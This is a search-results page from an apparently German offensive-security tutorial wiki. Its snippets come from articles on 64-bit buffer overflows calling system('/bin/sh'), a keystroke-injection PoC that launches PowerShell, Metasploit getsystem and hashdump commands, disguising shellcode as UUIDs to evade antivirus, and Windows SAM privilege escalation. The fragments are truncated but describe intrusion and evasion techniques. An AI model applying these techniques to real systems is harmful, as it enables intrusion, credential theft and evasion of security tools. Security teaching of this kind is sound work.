Suche

Volltextergebnisse:

Buffer overflow in the 64-bit stack - Part 3

28 Treffer, Zuletzt geändert: vor 10 Monaten

we used the string ''/bin/zsh'' to the function ''System()'' function to open a root shell. To do this, ho... gramme, but can simply access the function of the system, which, for example, is stored in ''libc'' for ex... GOT, we overwrite an address with the one from ''system()''so that we can issue a system command when calling the function <code gdb> [-------------------------

Buffer overflow in the 64-bit stack - Part 2

8 Treffer, Zuletzt geändert: vor 10 Monaten

.org/wiki/C-Standard-Bibliothek|libc-Funktion]] ''system()'' is forwarded. This tutorial is fundamentally ... AA') RSP: 0x7...fdde0 --> 0x7ffff7e17920 (<__libc_system>: test rdi,rdi) # system("/bin/sh") RIP: 0x400469 (<_init+25>: ret) </code> \\ \\ ===== Dependenci... it: <code bash> gdb-peda$ start ... gdb-peda$ p system $1 = {int (const char *)} 0x7ffff7e17920 <__libc_

FatCat Attack PoC

4 Treffer, Zuletzt geändert: vor 17 Monaten

tom-payloads)) | |::: | Enumeration | **Enumerate System Info** JAWS((https://github.com/411Hall/JAWS)), S... etasploit Handler}}] \\ ==== Access to the target system ==== * With the pinball machine, the following script is executed on the target system <code dos> WINDOWS r DELAY 2000 STRING powershel... ablished - Metasploit does it ==== <code dos> getsystem hashdump ls getwd cd c: cd Glob_Share ls backgrou

Obfuscation: Disguise shellcode as UUIDs

2 Treffer, Zuletzt geändert: vor 10 Monaten

==== We start a Metasploit handler on the attack system to receive the reverse shell: <code ruby> msf6 >... 64-bit programme. We then copy this to the victim system. After the copying process, the file is not recog

Privilege escalation: Windows admin thanks to Linux

2 Treffer, Zuletzt geändert: vor 10 Monaten

de>Security_Accounts_Manager]] using a live Linux system. \\ \\ ===== Initial situation ===== On a Windows system, the users ''users'' and ''sysadmin'' are created... the SAM directory. <code bash> cd ~/win/Windows/System32/config </code> \\ \\ ===== Manipulation of the

Obfuscation: ByteSwapping

1 Treffer, Zuletzt geändert: vor 7 Monaten

e conditions for the end of the loop are met, the system jumps directly to the decrypted shellcode and exe

Shellcode Injection Part 2

1 Treffer, Zuletzt geändert: vor 11 Monaten

Metasploit uses ROR13 (Rotate Right 13) to hash system addresses. We turn ROR13 into ROL33 (Rotate Left